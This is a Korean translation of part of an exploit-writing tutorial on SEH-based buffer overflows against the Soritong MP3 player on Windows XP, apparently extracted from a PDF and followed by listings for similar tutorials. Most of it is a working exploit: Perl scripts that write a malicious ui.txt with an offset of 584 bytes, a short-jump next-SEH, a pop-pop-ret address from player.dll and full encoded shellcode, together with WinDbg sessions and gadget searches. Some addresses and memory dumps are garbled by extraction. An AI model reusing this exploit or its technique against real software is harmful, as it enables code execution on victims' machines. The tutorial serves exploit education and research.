26 Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3B s4bs5bs6bs7bs8bs9bt0bt1bt2bt3bt4bt5bt6bt7bt8bt9bu0bu1bu2bu3bu4bu5bu6bu7bu8bu9bv0bv1bv2bv3bv4bv5bv6bv7bv 8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2 Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6C c7cc8cc9cd0cd1cd2cd3cd4cd5cd6cd7cd8cd9ce0ce1ce2ce3ce4ce5ce6ce7ce8ce9cf0cf1cf2cf3cf4cf5cf6cf7cf8cf9cg0cg 1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5 Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9C n0cn1cn2cn3cn4cn5cn6cn7cn8cn9co0co1co2co3co4co5co"; open (myfile,">ui.txt"); print myfile $junk; Windbg를이용해 soritong.exe를오픈한다. Paused를시작하고, 그것을실행할것이다. 디버거는첫 chance exception을캐치할것이다. 전체스택의레이아웃을볼수있도록추가실행은하지말도록한다. 다음 seh chain을보자 ( 역자의시스템 ). 0:000>!exchain 0012fd64: Invalid exception stack at SEH handler 는 로덮어쓰였다. Little endian임을고려해역순으로정렬하면 이며, 이를아스키로나타내면 At6A이다 7. 이의 offset을알아보자. 값은 588 이다. 이것은 2 가지를알려준다 : - SE Handler는 588 바이트다음에덮어쓰인다 - next SEH에대한포인터는 584 바이트 (588-4 = 584 바이트 ) 다음에덮어쓰인다. 이위치는 fd64이다. 7 이변환에대해서는 를참고

27 우리는쉘코드가 SE Handler를바로덮어쓴이후에위치해있다는것을알고있다. 그래서쉘코드는 0012fd 바이트 + 4 바이트에위치해있어야한다. [Junk][next SEH][SEH][Shellcode] (next SEH 는 fd64 에위치해있음 ) 목표 : 이 exploit은 exception을일으키고, SEH로가며, 이것은다른 exception(pop pop ret) 을일으킬것이다. 이것은프로그램의흐름이 next SEH로다시점프하게만든다. 그래서 next SEH 는 다음몇바이트를점프하고, 쉘코드에서끝이난다 는것이다. 6 바이트 ( 또는 NOP과함께쉘코드를시작할경우 6 바이트이상 ) 면충분할것이다. Short jump에대한 opcode는 eb이며, 이 opcode 뒤에는점프할거리가나온다. 다시말해서, 6 바이트 short jump는 eb 06 이되는것이다. 우리는 4 바이트를채울필요가있으므로그 4 바이트의공간을채우기위해 2개의 NOP을추가해야한다. 그래서 next SEH 필드는 0xeb, 0x06, 0x90, 0x90으로덮어쓰여야한다. SEH 기반의 exploit 시 pop pop ret 은어떻게기능하는가? Exception이발생할때그 exception을일으킨것 (dispatcher) 은그자신의스택프레임을만든다. 그것은새롭게만들어진스택 ( 함수의 prologue의일부로 ) 에 SEH Handler로부터의요소들을 push한다. 이필드는그프로그램스택으로 push된 exception registration record(next SEH) 의주소를가리킨다. 이같은주소는그 handler가호출될때 ESP+8에위치한다. 만약우리가 pop pop ret 시퀸시의주소로덮어쓴다면 : 첫번째 pop이스택으로부터 4 바이트를꺼낼것이다. 두번째 pop은스택으로부터다른 4 바이트를꺼낼것이다. Ret은 ESP의꼭대기로부터현재값을가질것이며 ( = next SEH의주소, ESP+8에있었으며, 2 번의 pop 때문에이제는스택의꼭대기에위치한다 ), 그것을 EIP에놓는다. 우리는 next SEH 를몇가지기본 jumpcode 로덮어썼으며, 그래서그코드는실행이되었다. 사실, next SEH 필더는쉘코드의첫부분으로간주될수있다.

28 Exploit 만들기 조합하기 Explpoit을만들기위해중요한 offset을찾아낸후해야할것은 fake exception (pop pop ret) 의주소를찾아내는것이다. Windbg 로 Soritong 프로그램을실행시키면다음처럼로딩된모듈들을볼수있다. ModLoad: 762e fd000 ModLoad: ModLoad: 73f feb000 ModLoad: C:\WINDOWS\system32\IMM32.DLL C:\WINDOWS\system32\LPK.DLL C:\WINDOWS\system32\USP10.dll C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common Controls_6595b64144ccf1df_ _x ww_ac3f9c03\comctl32.dll ModLoad: 5a a4b8000 ModLoad: ab000 ModLoad: e000 ModLoad: 3af af4c000 ModLoad: 72c c79000 ModLoad: ModLoad: 76be c0e000 ModLoad: 765c ModLoad: 77c c52000 ModLoad: 76c c68000 ModLoad: 72c c79000 ModLoad: ModLoad: 72c c68000 ModLoad: 77b ba5000 ModLoad: 77b b87000 ModLoad: ModLoad: ModLoad: 012e f000 ModLoad: 5b3d0000 5b ModLoad: 71a a0b000 ModLoad: 719e f7000 ModLoad: 719d d8000 ModLoad: 76e e8f000 ModLoad: 76e e3e000 C:\WINDOWS\system32\uxtheme.dll C:\WINDOWS\system32\MSCTF.dll C:\WINDOWS\system32\msctfime.ime C:\WINDOWS\system32\imekr70.ime C:\WINDOWS\system32\wdmaud.drv C:\WINDOWS\system32\setupapi.dll C:\WINDOWS\system32\WINTRUST.dll C:\WINDOWS\system32\CRYPT32.dll C:\WINDOWS\system32\MSASN1.dll C:\WINDOWS\system32\IMAGEHLP.dll C:\WINDOWS\system32\wdmaud.drv C:\WINDOWS\system32\setupapi.dll C:\WINDOWS\system32\msacm32.drv C:\WINDOWS\system32\MSACM32.dll C:\WINDOWS\system32\midimap.dll C:\Program Files\SoriTong\Player.dll C:\WINDOWS\system32\wmaudsdk.dll C:\WINDOWS\system32\DRMClien.DLL C:\WINDOWS\system32\strmdll.dll C:\WINDOWS\system32\WSOCK32.dll C:\WINDOWS\system32\WS2_32.dll C:\WINDOWS\system32\WS2HELP.dll C:\WINDOWS\system32\TAPI32.dll C:\WINDOWS\system32\rtutils.dll 우리는어플리케이션특정 dll들에특히관심을가지고있고, 그래서그 dll에서 pop pop ret을찾아야한다. Findjmp를이용해우리는 dll을찾아보고, pop pop ret 시퀀시를찾을수있다.

29 다음주소들중 null 바이트만없다면어떤것도사용해도된다.( 역자추가 : 우리가사용할주소를찾을때다음과같이 grep을사용하면용이한데, Windows용 grep은인터넷에서다운받을수있으며, grep뿐만아니라다른 dll 파일들도필요할것이다. 다음과같은옵션을주고실행해보고, 필요한 dll 파일이있다면창이뜰것이다.) C:\Program Files\SoriTong>findjmp player.dll edi grep pop grep v "000" 0x100104F8 0x100106FB 0x F 0x10010CAB 0x100116FD 0x D 0x100127F8 0x F 0x x10012DDD 0x10012E17 0x10012E5E 0x10012E70 0x10012F56 0x100133B2 0x x100138F7 0x x x x100144BF 0x10016D8C 0x100173BB 0x100173C2 0x100173C9 0x C 0x x B 0x10018DE8 0x10018FE7 0x x100192EE 0x F bis bis

30 0x100193BD 0x100193C8 0x100193FF 0x F 0x D 0x100194CD 0x100194D2 0x1001B7E9 0x1001B883 0x1001BDBA 0x1001BDDC 0x1001BE3C 0x1001D86D 0x1001D8F5 0x1001E0C7 0x1001E812 C:\Program Files\SoriTong> 제일마지막으로나온 E812 를사용한다고가정하면이것은다음과대응한다 ( 역자의시스템 ). 0:000> u 1001E e812 5f pop edi 1001e813 5e pop esi 1001e814 c3 ret 1001e815 e8f669ffff call Player!Player_Action+0x5950 ( ) 1001e81a 5f pop edi 1001e81b c mov dword ptr [eax],offset <Unloaded_ud.drv>+0x8 ( ) 1001e821 b8ffffffff mov eax,0ffffffffh 1001e826 5e pop esi ( 위의 pop pop ret 주소들중에서어떤것들도사용할수있어야한다 ) Note: 위에서볼수있듯이, findjmp는어떤레지스터를지정하는것을요구한다. Metasploit의 msfpescan을사용하는것이더쉽다 ( 간단히 dll 파일에대해 p 옵션을주고 msfpescan을실행시키고, 파일에모든것을출력하며, msfpescan은레지스터를지정하는것을요구하지않고, 그것은간단히명령어시퀀시를보여준다. 폴더에모든프로세스메모리를덤프하기위해 memdump를사용할수도있는데, 메모리로부터모든 pop pop ret 시퀀시를찾기위해 msfpescan M 폴더 p 를사용할수있다 ). memdump 사용에대해서는뒤에서다룰것이다.

31 exploit payload 는다음과같다 ( 역자의시스템에서의주소적용 ). [584 characters][0xeb,0x06,0x90,0x90][0x1001e812][nops][shellcode] junk next SEH current SEH 사실, 가장전형적인 SEH exploit 은다음과같다 : Buffer padding short jump to stage 2 pop/pop/ret address stage 2 (shellcode) Buffer next SEH SEH 쉘코드를위치시키기위해 (SEH 바로뒤에위치해야함 ) next SEH 에있는 4 바이트를브레이크포인터로대체해야한다. 이것은레지스터들을살펴보는것을허용할것이다. 다음예를보자. my $junk = "A" x 580; my $nextsehoverwrite = "\xcc\xcc\xcc\xcc"; #breakpoint my $SEHoverwrite = pack('v',0x1001e812); #pop pop ret from player.dll my $shellcode = "1ABCDEFGHIJKLM2ABCDEFGHIJKLM3ABCDEFGHIJKLM"; my $junk2 = "\x90" x 1000; open(myfile,'>ui.txt'); print myfile $junk.$nextsehoverwrite.$sehoverwrite.$shellcode.$junk2; 이스크립트를실행한후 Windbg 로실행파일을로딩해보자. Microsoft (R) Windows Debugger Version X86 Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: "C:\Program Files\SoriTong\SoriTong.exe" Symbol search path is: *** Invalid *** **************************************************************************** * Symbol loading may be unreliable without a symbol search path. * * Use.symfix to have the debugger choose a symbol path. * * After setting your symbol path, use.reload to refresh symbol locations. * **************************************************************************** Executable search path is:

32 ModLoad: de000 ModLoad: 7c c9ce000 ModLoad: 7c c92f000 ModLoad: 77f ff8000 ModLoad: 77d e12000 ModLoad: 77ef f01000 ModLoad: 77bb bb8000 ModLoad: 72f f76000 ModLoad: 77bc c18000 ModLoad: 77e e68000 ModLoad: 77cf d7f000 ModLoad: 5c c8ba000 ModLoad: ModLoad: 77e ee6000 ModLoad: 7d5a0000 7dd9c000 ModLoad: 76af b1b000 ModLoad: aad000 ModLoad: 770d b000 SoriTong.exe ntdll.dll C:\WINDOWS\system32\kernel32.dll C:\WINDOWS\system32\ADVAPI32.dll C:\WINDOWS\system32\RPCRT4.dll C:\WINDOWS\system32\Secur32.dll C:\WINDOWS\system32\VERSION.dll C:\WINDOWS\system32\WINSPOOL.DRV C:\WINDOWS\system32\msvcrt.dll C:\WINDOWS\system32\GDI32.dll C:\WINDOWS\system32\USER32.dll C:\WINDOWS\system32\COMCTL32.dll C:\WINDOWS\system32\COMDLG32.dll C:\WINDOWS\system32\SHLWAPI.dll C:\WINDOWS\system32\SHELL32.dll C:\WINDOWS\system32\WINMM.dll C:\WINDOWS\system32\OLE32.dll C:\WINDOWS\system32\OLEAUT32.dll (ad8.6c8): Break instruction exception code (first chance) eax=00241eb4 ebx=7ffde000 ecx= edx= esi=00241f48 edi=00241eb4 eip=7c93120e esp=0012fb20 ebp=0012fc94 iopl=0 cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 nv up ei pl nz na po nc efl= *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll ntdll!dbgbreakpoint: 7c93120e cc int 3 0:000> g ModLoad: 762e fd000 ModLoad: ModLoad: 73f feb000 ModLoad: C:\WINDOWS\system32\IMM32.DLL C:\WINDOWS\system32\LPK.DLL C:\WINDOWS\system32\USP10.dll C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common Controls_6595b64144ccf1df_ _x ww_ac3f9c03\comctl32.dll ModLoad: 5a a4b8000 ModLoad: ab000 ModLoad: e000 ModLoad: 3af af4c000 ModLoad: 72c c79000 ModLoad: ModLoad: 76be c0e000 ModLoad: 765c C:\WINDOWS\system32\uxtheme.dll C:\WINDOWS\system32\MSCTF.dll C:\WINDOWS\system32\msctfime.ime C:\WINDOWS\system32\imekr70.ime C:\WINDOWS\system32\wdmaud.drv C:\WINDOWS\system32\setupapi.dll C:\WINDOWS\system32\WINTRUST.dll C:\WINDOWS\system32\CRYPT32.dll

33 ModLoad: 77c c52000 ModLoad: 76c c68000 ModLoad: 72c c79000 ModLoad: ModLoad: 72c c68000 ModLoad: 77b ba5000 ModLoad: 77b b87000 ModLoad: ModLoad: ModLoad: 012e f000 ModLoad: 5b3d0000 5b ModLoad: 71a a0b000 ModLoad: 719e f7000 ModLoad: 719d d8000 ModLoad: 76e e8f000 ModLoad: 76e e3e000 C:\WINDOWS\system32\MSASN1.dll C:\WINDOWS\system32\IMAGEHLP.dll C:\WINDOWS\system32\wdmaud.drv C:\WINDOWS\system32\setupapi.dll C:\WINDOWS\system32\msacm32.drv C:\WINDOWS\system32\MSACM32.dll C:\WINDOWS\system32\midimap.dll C:\Program Files\SoriTong\Player.dll C:\WINDOWS\system32\wmaudsdk.dll C:\WINDOWS\system32\DRMClien.DLL C:\WINDOWS\system32\strmdll.dll C:\WINDOWS\system32\WSOCK32.dll C:\WINDOWS\system32\WS2_32.dll C:\WINDOWS\system32\WS2HELP.dll C:\WINDOWS\system32\TAPI32.dll C:\WINDOWS\system32\rtutils.dll (ad8.6c8): Access violation code c (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax= ebx= ecx=ffffff90 edx= esi= edi=0012fd64 eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0 cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 nv up ei ng nz ac pe nc efl= *** WARNING: Unable to verify checksum for SoriTong.exe *** ERROR: Symbol file could not be found. Defaulted to export symbols for SoriTong.exe SoriTong!TmC13_5+0x3ea3: 00422e mov byte ptr [eax],dl ds:0023: =41 0:000> g (ad8.6c8): Break instruction exception code (first chance) eax= ebx= ecx=1001e812 edx=7c9332bc esi=0012d72c edi=7c9332a8 eip=0012fd64 esp=0012d650 ebp=0012d664 iopl=0 cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 nv up ei pl zr na pe nc efl= <Unloaded_ud.drv>+0x12fd63: 0012fd64 cc int 3 0:000> 그래서, 첫 exception때해당어플리케이션에전달한후그어플리케이션은 nseh에서브레이크포인터때문에멈췄다.

34 EIP는현재 nseh의첫바이트를가리키기때문에약 8 바이트 (nseh에대해 4 바이트, SEH에대해 4 바이트 ) 아래쯤에서쉘코드를볼수있어야한다. 0:000> d eip 0012fd64 cc cc cc cc 12 e ABCDEFG 0012fd a 4b 4c 4d HIJKLM2ABCDEFGHI 0012fd84 4a 4b 4c 4d a 4b JKLM3ABCDEFGHIJK 0012fd94 4c 4d LM fda fdb fdc fdd 쉘코드가보이고, 우리가예상한곳에서정확하게시작하고있다. 필자는쉘코드를테스트하기위해여기서짧은문자열을사용했으며, 좀더긴문자열을사용하는것이더좋을수있다. 만약쉘코드가그것이시작하여하는 offset에서시작한다면 jumpcode(nseh) 를변경하여더점프하도록해야한다. 이제우리는실제쉘코드로 exploit 을만들준비가되었다. # Exploit for Soritong MP3 player # # Written by Peter Van Eeckhoutte # # # my $junk = "A" x 584; my $nextsehoverwrite = "\xeb\x06\x90\x90"; #jump 6 bytes my $SEHoverwrite = pack('v',0x1001e812); #pop pop ret from player.dll( 역자의시스템 ) # win32_exec EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum my $shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49". "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36". "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34". "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41". "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44". "\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37". "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48".

35 "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48". "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c". "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e". "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48". "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54". "\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48". "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43". "\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57". "\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a". "\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b". "\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53". "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37". "\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49". "\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46". "\x4e\x36\x43\x46\x42\x50\x5a"; my $junk2 = "\x90" x 1000; open(myfile,'>ui.txt'); print myfile $junk.$nextsehoverwrite.$sehoverwrite.$shellcode.$junk2; ui.txt 파일을생성하고, 디버거를통해서가아니라 soritong.exe 파일을직접오픈한다. 공격에성공했다.

36 ( 역자추가 : 역자는쉘코드를만들때 Metasploit을이용했으며, encoder를 x86/shikata_ga_nai 등을이용했으나계산기가실행되지않았으며, 프로그램이 freezing되어버리기만했다. 그래서원문에나오는 encoder를 PexAlphaNum를사용한, 원문에나오는쉘코드를그대로사용하여계산기프로그램을실행시킬수있었다.) 쉘코드의시작부분에브레이크포인터를걸고 Windbg를이용해다시 soritong.exe 프로그램을실행시켜보자. First chance exception : stack(esp) 은 da14 를가리킨다. (3f4.d34): Access violation code c (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax= ebx= ecx=ffffff90 edx= esi= c edi=0012fd64 eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0 cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 nv up ei ng nz ac pe nc efl= *** WARNING: Unable to verify checksum for SoriTong.exe *** ERROR: Symbol file could not be found. Defaulted to export symbols for SoriTong.exe SoriTong!TmC13_5+0x3ea3: 00422e mov byte ptr [eax],dl ds:0023: =41 0:000>!exchain 0012fd64: *** WARNING: Unable to verify checksum for C:\Program Files\SoriTong\Player.dll *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\SoriTong\Player.dll Player!Player_Action+ef52 (1001e812) Invalid exception stack at eb => EH Handler는 1001e812(pop pop ret) 를가리킨다. 우리가다시어플리케이션을실행시키면 pop pop ret이실행되고, 또한번실행될것이다. 이렇게되면 Be 코드가실행될것이고, EIP 는쉘코드가있는 0012fd6c 를가리킬것이다. 0:000> g ModLoad: 76d db2000 C:\WINDOWS\system32\Apphelp.dll (3f4.c28): Access violation code c (first chance) First chance exceptions are reported before any exception handling.

37 This exception may be expected and handled. eax= ebx=7c80351c ecx=fffffc41 edx= esi=c644c573 edi=7c80261c eip=0012fdd5 esp=0012d634 ebp=7c iopl=0 cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 nv up ei pl zr na pe nc efl= <Unloaded_ud.drv>+0x12fdd4: 0012fdd5 ac lods byte ptr [esi] ds:0023:c644c573=?? 0:000> u 0012fd64 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll <Unloaded_ud.drv>+0x12fd63: 0012fd64 eb06 jmp <Unloaded_ud.drv>+0x12fd6b (0012fd6c) 0012fd fd67 90 nop nop 0012fd68 12e8 adc ch,al 0012fd6a 0110 add dword ptr [eax],edx 0012fd6c eb03 jmp <Unloaded_ud.drv>+0x12fd70 (0012fd71) 0012fd6e 59 pop ecx 0012fd6f eb05 jmp <Unloaded_ud.drv>+0x12fd75 (0012fd76) 0:000> d 0012fd fd eb e eb eb AAAA...Y. 0012fd70 05 e8 f8 ff ff ff 4f a 56...OIIIIIIQZV 0012fd TX630VX4A0B6HH0B 0012fd BCVX2BDBH4A2AD 0012fda b a 0ADkBD.B0ADAVX4Z 0012fdb df fc e b 45 3c 8b 7c 8BDu...D...E<. 0012fdc ef 8b 4f 18 8b 5f eb 49 8b 34 8b.x...O.._..I fdd0 01 ee 31 c0 99 ac 84 c c1 ca 0d 01 c2 eb..1...t : 버퍼의마지막문자들 eb : next SEH, 6 바이트 jump 12 e : 현재 SE Handler (pop pop ret, 다음 exception을일으키고, 코드가 next SEH 포인터로가서 eb 를실행하게함 ) eb eb : 쉘코드의시작 exploit 을만드는과정에대해다음동영상으로볼수있다.

38 8 YouTube Exploiting Soritong MP3 Player (SEH) on Windows XP SP3 Memdump 를이용한 pop pop ret ( 및다른유용한명령어 ) 찾기 Metasploit는 msf3\tools라는폴더에 memdump.exe라는유틸리티를가지고있다. 만약 Metasploit을설치했다면 Cygwin Shell을이용해이유틸리티를이용할수있다. 먼저 exploit하고자하는어플리케이션을실행시킨다. 그런다음이어플리케이션에대한 process ID를확인한다. 그리고폴더를하나만든후실행한다. memdump.exe processid c:\foldername 예 : memdump.exe 3524 c:\cygwin\home\peter\memdump [*] Creating dump directory...c:\cygwin\home\peter\memdump [*] Attaching to [*] Dumping segments... [*] Dump completed successfully, 112 segments. 8

39 이제 cygwin 커맨드라인에서 msfpescan을다음과같이실행한다 ( 역자추가 : 역자의 Windows용 Metasploit3에서는이파일이없었다. 그래서원문의내용을그대로옮긴다 ). peter@xptest2 ~/framework 3.2 $./msfpescan p M /home/peter/memdump > /home/peter/scanresults.txt 스캐닝결과를저장한파일을다음과같이열어보면흥미로운정보들을볼수있다. 이제남은것은 null 바이트를가지지않은주소를찾는것이며, /SafeSEH로컴파일되지않은 dll 파일들중의하나에들어가있다. 메모리를덤프해서모든 pop pop ret 시퀀시를한꺼번에찾아보는것도시간절약에도움이될수있다. 2009, Peter Van Eeckhoutte. All rights reserved. Terms of Use are applicable to all content on this blog. If you want to use/reuse parts of the content on this blog, you must provide a link to the original content on this blog.

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo 본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasploit Framework(MSF) 이란? bluearth in N@R 2003년오픈소스로발표된취약점발견및공격을위한

More information

Microsoft Word - Exploit writing tutorial part 1.doc

Microsoft Word - Exploit writing tutorial part 1.doc Exploit writing tutorial part 1: Stack Based Overflows 1 By Peter Van Eeckhoutte 편역 : vangelis(vangelis@s0f.org) 2009년 7월 17일, Crazy_Hacker 라는닉을가진사람이패킷스톰을통해 Easy RM to MP3 Converte에존재하는취약점 (http://packetstormsecurity.org/0907-exploits/)

More information

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환 취약점분석보고서 [Photodex ProShow Producer v5.0.3256] 2012-07-24 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Photodex ProShow Producer Buffer Overflow 취약점분석... 2 2.1. Photodex ProShow Producer Buffer

More information

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg 익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Omelet Egg Hunting By WraithOfGhost Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

how_2_write_Exploit_4_the_MSF_v3.x.hwp

how_2_write_Exploit_4_the_MSF_v3.x.hwp Metasploit v3.0 을이용한 Exploit 작성하기 2008.1.18 본문서는 Jerome 님의 Writing Windows Exploits 을기반으로작성된문서임을밝힙니다. rich4rd rich4rd.lim@gmail.com - 1 - 목차. 1. 소개및개요 2. 배경지식 3. Exploit module 실습 3.1 Exploit module 수정하기

More information

SRC PLUS 제어기 MANUAL

SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드 취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] 2012-08-08 RedAlert Team 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. 취약점요약... 1 1.3. 취약점정보... 1 1.4. 취약점대상시스템목록... 1 2. 분석...

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

Microsoft Word - Static analysis of Shellcode.doc

Microsoft Word - Static analysis of Shellcode.doc Static analysis of Shellcode By By Maarten Van Horenbeeck 2008.09.03 2008.09.03 본문서에서는악성코드에서사용하는난독화되어있는쉘코드 를분석하는방법에대한 Maarten Van Horenbeeck 의글을번역 한것이다. Hacking Group OVERTIME OVERTIME force

More information

API 매뉴얼

